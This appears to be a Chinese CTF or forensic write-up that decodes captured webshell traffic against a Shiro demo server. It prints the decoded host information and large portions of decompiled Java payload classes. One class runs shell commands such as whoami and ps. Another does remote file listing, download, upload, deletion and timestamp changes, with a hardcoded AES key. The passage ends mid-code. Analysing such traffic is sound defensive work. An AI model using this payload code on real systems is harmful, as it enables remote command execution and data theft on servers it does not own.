{"msg":"eyJvc0luZm8iOiJUR2x1ZFhnMkxqZ3VNQzA0T0MxblpXNWxjbWxqWVcxa05qUT0iLCJkcml2ZUxpc3QiOiJMenM9IiwibG9jYWxJcCI6Ik1UY3lMakU0TGpBdU1nPT0iLCJjdXJyZW50UGF0aCI6Ikx3PT0iLCJhcmNoIjoiWVcxa05qUT0iLCJiYXNpY0luZm8iOiJQR0p5THo0OFptOXVkQ0J6YVhwbFBUSWdZMjlzYjNJOWNtVmtQdWVPcitXaWcrV1BtT21IanpvOEwyWnZiblErUEdKeUx6NVFRVlJJUFM5MWMzSXZiRzlqWVd3dmMySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJqb3ZkWE55TDNOaWFXNDZMM1Z6Y2k5aWFXNDZMM05pYVc0NkwySnBianhpY2k4K1NFOVRWRTVCVFVVOU1EazNNRFUyWVRnek9Ea3hQR0p5THo1S1FWWkJYMFJGUWtsQlRsOVdSVkpUU1U5T1BUaDFNVEF5TFdJeE5DNHhMVEYrWW5Cdk9Dc3hQR0p5THo1S1FWWkJYMGhQVFVVOUwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrUTBGZlEwVlNWRWxHU1VOQlZFVlRYMHBCVmtGZlZrVlNVMGxQVGoweU1ERTBNRE15TkR4aWNpOCtTa0ZXUVY5V1JWSlRTVTlPUFRoMU1UQXlQR0p5THo1TVFVNUhQVU11VlZSR0xUZzhZbkl2UGtoUFRVVTlMM0p2YjNROFluSXZQanhpY2k4K1BHWnZiblFnYzJsNlpUMHlJR052Ykc5eVBYSmxaRDVLVWtYbnM3dm51NS9sc1o3bWdLYzZQQzltYjI1MFBqeGljaTgrYW1GMllTNXlkVzUwYVcxbExtNWhiV1VnUFNCUGNHVnVTa1JMSUZKMWJuUnBiV1VnUlc1MmFYSnZibTFsYm5ROFluSXZQbXBoZG1FdWNISnZkRzlqYjJ3dWFHRnVaR3hsY2k1d2EyZHpJRDBnYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aWIyOTBMbXh2WVdSbGNqeGljaTgrYzNWdUxtSnZiM1F1YkdsaWNtRnllUzV3WVhSb0lEMGdMM1Z6Y2k5c2FXSXZhblp0TDJwaGRtRXRPQzF2Y0dWdWFtUnJMV0Z0WkRZMEwycHlaUzlzYVdJdllXMWtOalE4WW5JdlBtcGhkbUV1ZG0wdWRtVnljMmx2YmlBOUlESTFMakV3TWkxaU1UUThZbkl2UG1waGRtRXVkbTB1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXFZWFpoTG5abGJtUnZjaTUxY213Z1BTQm9kSFJ3T2k4dmFtRjJZUzV2Y21GamJHVXVZMjl0THp4aWNpOCtjR0YwYUM1elpYQmhjbUYwYjNJZ1BTQTZQR0p5THo1cVlYWmhMblp0TG01aGJXVWdQU0JQY0dWdVNrUkxJRFkwTFVKcGRDQlRaWEoyWlhJZ1ZrMDhZbkl2UG1acGJHVXVaVzVqYjJScGJtY3VjR3RuSUQwZ2MzVnVMbWx2UEdKeUx6NXpkVzR1YW1GMllTNXNZWFZ1WTJobGNpQTlJRk5WVGw5VFZFRk9SRUZTUkR4aWNpOCtjM1Z1TG05ekxuQmhkR05vTG14bGRtVnNJRDBnZFc1cmJtOTNianhpY2k4K1VFbEVJRDBnTVR4aWNpOCthbUYyWVM1MmJTNXpjR1ZqYVdacFkyRjBhVzl1TG01aGJXVWdQU0JLWVhaaElGWnBjblIxWVd3Z1RXRmphR2x1WlNCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1MWMyVnlMbVJwY2lBOUlDODhZbkl2UG1waGRtRXVjblZ1ZEdsdFpTNTJaWEp6YVc5dUlEMGdNUzQ0TGpCZk1UQXlMVGgxTVRBeUxXSXhOQzR4TFRGK1luQnZPQ3N4TFdJeE5EeGljaTgrYW1GMllTNWhkM1F1WjNKaGNHaHBZM05sYm5ZZ1BTQnpkVzR1WVhkMExsZ3hNVWR5WVhCb2FXTnpSVzUyYVhKdmJtMWxiblE4WW5JdlBtcGhkbUV1Wlc1a2IzSnpaV1F1WkdseWN5QTlJQzkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwyVnVaRzl5YzJWa1BHSnlMejV2Y3k1aGNtTm9JRDBnWVcxa05qUThZbkl2UG1waGRtRXVhVzh1ZEcxd1pHbHlJRDBnTDNSdGNEeGljaTgrYkdsdVpTNXpaWEJoY21GMGIzSWdQU0FLUEdKeUx6NXFZWFpoTG5adExuTndaV05wWm1sallYUnBiMjR1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXZjeTV1WVcxbElEMGdUR2x1ZFhnOFluSXZQbk4xYmk1cWJuVXVaVzVqYjJScGJtY2dQU0JWVkVZdE9EeGljaTgrYzNCeWFXNW5MbUpsWVc1cGJtWnZMbWxuYm05eVpTQTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWJHbGljbUZ5ZVM1d1lYUm9JRDBnTDNWemNpOXFZWFpoTDNCaFkydGhaMlZ6TDJ4cFlpOWhiV1EyTkRvdmRYTnlMMnhwWWk5NE9EWmZOalF0YkdsdWRYZ3RaMjUxTDJwdWFUb3ZiR2xpTDNnNE5sODJOQzFzYVc1MWVDMW5iblU2TDNWemNpOXNhV0l2ZURnMlh6WTBMV3hwYm5WNExXZHVkVG92ZFhOeUwyeHBZaTlxYm1rNkwyeHBZam92ZFhOeUwyeHBZanhpY2k4K2FtRjJZUzV6Y0dWamFXWnBZMkYwYVc5dUxtNWhiV1VnUFNCS1lYWmhJRkJzWVhSbWIzSnRJRUZRU1NCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1cVlYWmhMbU5zWVhOekxuWmxjbk5wYjI0Z1BTQTFNaTR3UEdKeUx6NXpkVzR1YldGdVlXZGxiV1Z1ZEM1amIyMXdhV3hsY2lBOUlFaHZkRk53YjNRZ05qUXRRbWwwSUZScFpYSmxaQ0JEYjIxd2FXeGxjbk04WW5JdlBtOXpMblpsY25OcGIyNGdQU0EyTGpndU1DMDRPQzFuWlc1bGNtbGpQR0p5THo1MWMyVnlMbWh2YldVZ1BTQXZjbTl2ZER4aWNpOCtZMkYwWVd4cGJtRXVkWE5sVG1GdGFXNW5JRDBnWm1Gc2MyVThZbkl2UG5WelpYSXVkR2x0WlhwdmJtVWdQU0JGZEdNdlZWUkRQR0p5THo1cVlYWmhMbUYzZEM1d2NtbHVkR1Z5YW05aUlEMGdjM1Z1TG5CeWFXNTBMbEJUVUhKcGJuUmxja3B2WWp4aWNpOCtabWxzWlM1bGJtTnZaR2x1WnlBOUlGVlVSaTA0UEdKeUx6NXFZWFpoTG5Od1pXTnBabWxqWVhScGIyNHVkbVZ5YzJsdmJpQTlJREV1T0R4aWNpOCtZMkYwWVd4cGJtRXVhRzl0WlNBOUlDOTBiWEF2ZEc5dFkyRjBMakl6TnpFMk9EYzJOekV5T1RBNU9EQXpPVEF1T0RBNE1EeGljaTgrYW1GMllTNWpiR0Z6Y3k1d1lYUm9JRDBnTDNOb2FYSnZaR1Z0YnkweExqQXRVMDVCVUZOSVQxUXVhbUZ5UEdKeUx6NTFjMlZ5TG01aGJXVWdQU0J5YjI5MFBHSnlMejVxWVhaaExuWnRMbk53WldOcFptbGpZWFJwYjI0dWRtVnljMmx2YmlBOUlERXVPRHhpY2k4K2MzVnVMbXBoZG1FdVkyOXRiV0Z1WkNBOUlDOXphR2x5YjJSbGJXOHRNUzR3TFZOT1FWQlRTRTlVTG1waGNqeGljaTgrYW1GMllTNW9iMjFsSUQwZ0wzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrYzNWdUxtRnlZMmd1WkdGMFlTNXRiMlJsYkNBOUlEWTBQR0p5THo1MWMyVnlMbXhoYm1kMVlXZGxJRDBnWlc0OFluSXZQbXBoZG1FdWMzQmxZMmxtYVdOaGRHbHZiaTUyWlc1a2IzSWdQU0JQY21GamJHVWdRMjl5Y0c5eVlYUnBiMjQ4WW5JdlBtRjNkQzUwYjI5c2EybDBJRDBnYzNWdUxtRjNkQzVZTVRFdVdGUnZiMnhyYVhROFluSXZQbXBoZG1FdWRtMHVhVzVtYnlBOUlHMXBlR1ZrSUcxdlpHVThZbkl2UG1waGRtRXVkbVZ5YzJsdmJpQTlJREV1T0M0d1h6RXdNanhpY2k4K2FtRjJZUzVsZUhRdVpHbHljeUE5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMlY0ZERvdmRYTnlMMnBoZG1FdmNHRmphMkZuWlhNdmJHbGlMMlY0ZER4aWNpOCtjM1Z1TG1KdmIzUXVZMnhoYzNNdWNHRjBhQ0E5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMM0psYzI5MWNtTmxjeTVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2Y25RdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwzTjFibkp6WVhOcFoyNHVhbUZ5T2k5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMnB6YzJVdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwycGpaUzVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2WTJoaGNuTmxkSE11YW1GeU9pOTFjM0l2YkdsaUwycDJiUzlxWVhaaExUZ3RiM0JsYm1wa2F5MWhiV1EyTkM5cWNtVXZiR2xpTDJwbWNpNXFZWEk2TDNWemNpOXNhV0l2YW5adEwycGhkbUV0T0MxdmNHVnVhbVJyTFdGdFpEWTBMMnB5WlM5amJHRnpjMlZ6UEdKeUx6NXFZWFpoTG1GM2RDNW9aV0ZrYkdWemN5QTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWRtVnVaRzl5SUQwZ1QzSmhZMnhsSUVOdmNuQnZjbUYwYVc5dVBHSnlMejVqWVhSaGJHbHVZUzVpWVhObElEMGdMM1J0Y0M5MGIyMWpZWFF1TWpNM01UWTROelkzTVRJNU1EazRNRE01TUM0NE1EZ3dQR0p5THo1bWFXeGxMbk5sY0dGeVlYUnZjaUE5SUM4OFluSXZQbXBoZG1FdWRtVnVaRzl5TG5WeWJDNWlkV2NnUFNCb2RIUndPaTh2WW5WbmNtVndiM0owTG5OMWJpNWpiMjB2WW5WbmNtVndiM0owTHp4aWNpOCtjM1Z1TG1sdkxuVnVhV052WkdVdVpXNWpiMlJwYm1jZ1BTQlZibWxqYjJSbFRHbDBkR3hsUEdKeUx6NXpkVzR1WTNCMUxtVnVaR2xoYmlBOUlHeHBkSFJzWlR4aWNpOCtjM1Z1TG1Od2RTNXBjMkZzYVhOMElEMGdQR0p5THo0PSJ9","status":"c3VjY2Vzcw=="} 对msgBase64解密得到: {"osInfo":"TGludXg2LjguMC04OC1nZW5lcmljYW1kNjQ=","driveList":"Lzs=","localIp":"MTcyLjE4LjAuMg==","currentPath":"Lw==","arch":"YW1kNjQ=","basicInfo":"PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+SE9TVE5BTUU9MDk3MDU2YTgzODkxPGJyLz5KQVZBX0RFQklBTl9WRVJTSU9OPTh1MTAyLWIxNC4xLTF+YnBvOCsxPGJyLz5KQVZBX0hPTUU9L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+Q0FfQ0VSVElGSUNBVEVTX0pBVkFfVkVSU0lPTj0yMDE0MDMyNDxici8+SkFWQV9WRVJTSU9OPTh1MTAyPGJyLz5MQU5HPUMuVVRGLTg8YnIvPkhPTUU9L3Jvb3Q8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmphdmEucHJvdG9jb2wuaGFuZGxlci5wa2dzID0gb3JnLnNwcmluZ2ZyYW1ld29yay5ib290LmxvYWRlcjxici8+c3VuLmJvb3QubGlicmFyeS5wYXRoID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvYW1kNjQ8YnIvPmphdmEudm0udmVyc2lvbiA9IDI1LjEwMi1iMTQ8YnIvPmphdmEudm0udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLnZlbmRvci51cmwgPSBodHRwOi8vamF2YS5vcmFjbGUuY29tLzxici8+cGF0aC5zZXBhcmF0b3IgPSA6PGJyLz5qYXZhLnZtLm5hbWUgPSBPcGVuSkRLIDY0LUJpdCBTZXJ2ZXIgVk08YnIvPmZpbGUuZW5jb2RpbmcucGtnID0gc3VuLmlvPGJyLz5zdW4uamF2YS5sYXVuY2hlciA9IFNVTl9TVEFOREFSRDxici8+c3VuLm9zLnBhdGNoLmxldmVsID0gdW5rbm93bjxici8+UElEID0gMTxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFZpcnR1YWwgTWFjaGluZSBTcGVjaWZpY2F0aW9uPGJyLz51c2VyLmRpciA9IC88YnIvPmphdmEucnVudGltZS52ZXJzaW9uID0gMS44LjBfMTAyLTh1MTAyLWIxNC4xLTF+YnBvOCsxLWIxNDxici8+amF2YS5hd3QuZ3JhcGhpY3NlbnYgPSBzdW4uYXd0LlgxMUdyYXBoaWNzRW52aXJvbm1lbnQ8YnIvPmphdmEuZW5kb3JzZWQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2VuZG9yc2VkPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEuaW8udG1wZGlyID0gL3RtcDxici8+bGluZS5zZXBhcmF0b3IgPSAKPGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5vcy5uYW1lID0gTGludXg8YnIvPnN1bi5qbnUuZW5jb2RpbmcgPSBVVEYtODxici8+c3ByaW5nLmJlYW5pbmZvLmlnbm9yZSA9IHRydWU8YnIvPmphdmEubGlicmFyeS5wYXRoID0gL3Vzci9qYXZhL3BhY2thZ2VzL2xpYi9hbWQ2NDovdXNyL2xpYi94ODZfNjQtbGludXgtZ251L2puaTovbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudTovdXNyL2xpYi9qbmk6L2xpYjovdXNyL2xpYjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLmNsYXNzLnZlcnNpb24gPSA1Mi4wPGJyLz5zdW4ubWFuYWdlbWVudC5jb21waWxlciA9IEhvdFNwb3QgNjQtQml0IFRpZXJlZCBDb21waWxlcnM8YnIvPm9zLnZlcnNpb24gPSA2LjguMC04OC1nZW5lcmljPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gZmFsc2U8YnIvPnVzZXIudGltZXpvbmUgPSBFdGMvVVRDPGJyLz5qYXZhLmF3dC5wcmludGVyam9iID0gc3VuLnByaW50LlBTUHJpbnRlckpvYjxici8+ZmlsZS5lbmNvZGluZyA9IFVURi04PGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+Y2F0YWxpbmEuaG9tZSA9IC90bXAvdG9tY2F0LjIzNzE2ODc2NzEyOTA5ODAzOTAuODA4MDxici8+amF2YS5jbGFzcy5wYXRoID0gL3NoaXJvZGVtby0xLjAtU05BUFNIT1QuamFyPGJyLz51c2VyLm5hbWUgPSByb290PGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+c3VuLmphdmEuY29tbWFuZCA9IC9zaGlyb2RlbW8tMS4wLVNOQVBTSE9ULmphcjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+c3VuLmFyY2guZGF0YS5tb2RlbCA9IDY0PGJyLz51c2VyLmxhbmd1YWdlID0gZW48YnIvPmphdmEuc3BlY2lmaWNhdGlvbi52ZW5kb3IgPSBPcmFjbGUgQ29ycG9yYXRpb248YnIvPmF3dC50b29sa2l0ID0gc3VuLmF3dC5YMTEuWFRvb2xraXQ8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGU8YnIvPmphdmEudmVyc2lvbiA9IDEuOC4wXzEwMjxici8+amF2YS5leHQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2V4dDovdXNyL2phdmEvcGFja2FnZXMvbGliL2V4dDxici8+c3VuLmJvb3QuY2xhc3MucGF0aCA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3Jlc291cmNlcy5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvcnQuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3N1bnJzYXNpZ24uamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pzc2UuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pjZS5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvY2hhcnNldHMuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pmci5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9jbGFzc2VzPGJyLz5qYXZhLmF3dC5oZWFkbGVzcyA9IHRydWU8YnIvPmphdmEudmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5jYXRhbGluYS5iYXNlID0gL3RtcC90b21jYXQuMjM3MTY4NzY3MTI5MDk4MDM5MC44MDgwPGJyLz5maWxlLnNlcGFyYXRvciA9IC88YnIvPmphdmEudmVuZG9yLnVybC5idWcgPSBodHRwOi8vYnVncmVwb3J0LnN1bi5jb20vYnVncmVwb3J0Lzxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz5zdW4uY3B1LmVuZGlhbiA9IGxpdHRsZTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz4="} 再分别Base64解密,可得到LinuxInfo为Linux6.8.0-88-genericamd64,DriveList为/;,LocalIP为172.18.0.2,等等。证明上述确实是读取系统信息。 接着继续解密并逆向,发现执行了一些系统命令: ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(4).ico.class */ public class Zsiywhq { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Zsiywhq() { cmd = ""; cmd += "cd / ;whoami"; path = ""; path += "/"; } ... private String RunCMD(String cmd2) throws Exception { Process p; Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd2 != null && cmd2.length() > 0) { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd2}); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset)); String line = br.readLine(); while (true) { String disr = line; if (disr == null) { break; } result = result + disr + "\n"; line = br.readLine(); } BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset)); String line2 = br2.readLine(); while (true) { String disr2 = line2; if (disr2 == null) { break; } result = result + disr2 + "\n"; line2 = br2.readLine(); } } return result; } ... } 找下来发现总共执行了这些: cd / ;whoami root cd / ;w 05:58:16 up 9 days, 2:05, 0 users, load average: 0.35, 0.63, 0.29 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT cd / ;ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 1 03:43 ? 00:01:36 java -jar /shirodemo-1.0-SNAPSHOT.jar root 95 1 0 05:58 ? 00:00:00 /bin/sh -c cd / ;ps -ef root 96 95 0 05:58 ? 00:00:00 ps -ef 没什么用。接着发现接下来内容有了新的模式: {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长,不想看可以折叠 package sun.suh.tgvtrk; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.nio.charset.Charset; import java.nio.file.LinkOption; import java.nio.file.Path; import java.security.MessageDigest; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(10).ico.class */ public class Mcuygmskgn { public static String mode; public static String path; public static String newPath; public static String content; public static String charset; public static String hash; public static String blockIndex; public static String blockSize; public static String createTimeStamp; public static String modifyTimeStamp; public static String accessTimeStamp; private Object Request; private Object Response; private Object Session; private Charset osCharset; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Mcuygmskgn() { mode = ""; mode += "list"; path = ""; path += "/"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap(); try { try { fillContext(obj); if (mode.equalsIgnoreCase("list")) { result.put("msg", list()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("show")) { result.put("msg", show()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("checkExist")) { result.put("msg", checkExist(path)); result.put("status", "success"); } else if (mode.equalsIgnoreCase("delete")) { result = delete(); } else if (mode.equalsIgnoreCase("create")) { result.put("msg", create()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("append")) { result.put("msg", append()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("update")) { updateFile(); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("downloadPart")) { result.put("msg", downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize))); result.put("status", "success"); } else { if (mode.equalsIgnoreCase("download")) { download(); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); } catch (Exception e) { e.printStackTrace(); } return true; } if (mode.equalsIgnoreCase("rename")) { result = renameFile(); } else if (mode.equalsIgnoreCase("createFile")) { result.put("msg", createFile()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("compress")) { zipFile(path, true); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("createDirectory")) { result.put("msg", createDirectory()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("getTimeStamp")) { result.put("msg", getTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("updateTimeStamp")) { result.put("msg", updateTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("check")) { result.put("msg", checkFileHash(path)); result.put("status", "success"); } } try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e2) { e2.printStackTrace(); return true; } } catch (Throwable e3) { e3.printStackTrace(); result.put("msg", e3.getMessage()); result.put("status", "fail"); try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); return true; } catch (Exception e4) { e4.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so4 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write4 = so4.getClass().getMethod("write", byte[].class); write4.invoke(so4, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so4.getClass().getMethod("flush", new Class[0]).invoke(so4, new Object[0]); so4.getClass().getMethod("close", new Class[0]).invoke(so4, new Object[0]); } catch (Exception e5) { e5.printStackTrace(); } throw th; } } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } private void updateFile() throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path); if (ch == null) { FileOutputStream fos = new FileOutputStream(path); ch = fos.getChannel(); sessionSetAttribute(this.Session, "fos", fos); sessionSetAttribute(this.Session, path, ch); } synchronized (ch) { ch.position(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize)); ch.write(ByteBuffer.wrap(base64decode(content))); } } private Map<String, String> warpFileObj(File file) { Map<String, String> obj = new HashMap<>(); obj.put("type", file.isDirectory() ? "directory" : "file"); obj.put("name", file.getName()); obj.put("size", file.length() + ""); obj.put("perm", getFilePerm(file)); obj.put("lastModified", new SimpleDateFormat("yyyy/MM/dd HH:mm:ss").format(new Date(file.lastModified()))); return obj; } private boolean isOldJava() { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { return false; } return true; } private String checkExist(String path2) throws Exception { File file = new File(path2); if (file.exists()) { return file.length() + ""; } throw new Exception(""); } private String getFilePerm(File file) throws IllegalAccessException, ClassNotFoundException, IllegalArgumentException, InvocationTargetException { String permStr = ""; if (isWindows()) { try { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } catch (Error e) { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/-"; } } else { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { try { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); getClass(); Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions"); Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]); Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions", new Class[0]).invoke(attrs, new Object[0])); permStr = result.toString(); } catch (Exception e2) { } } else { permStr = 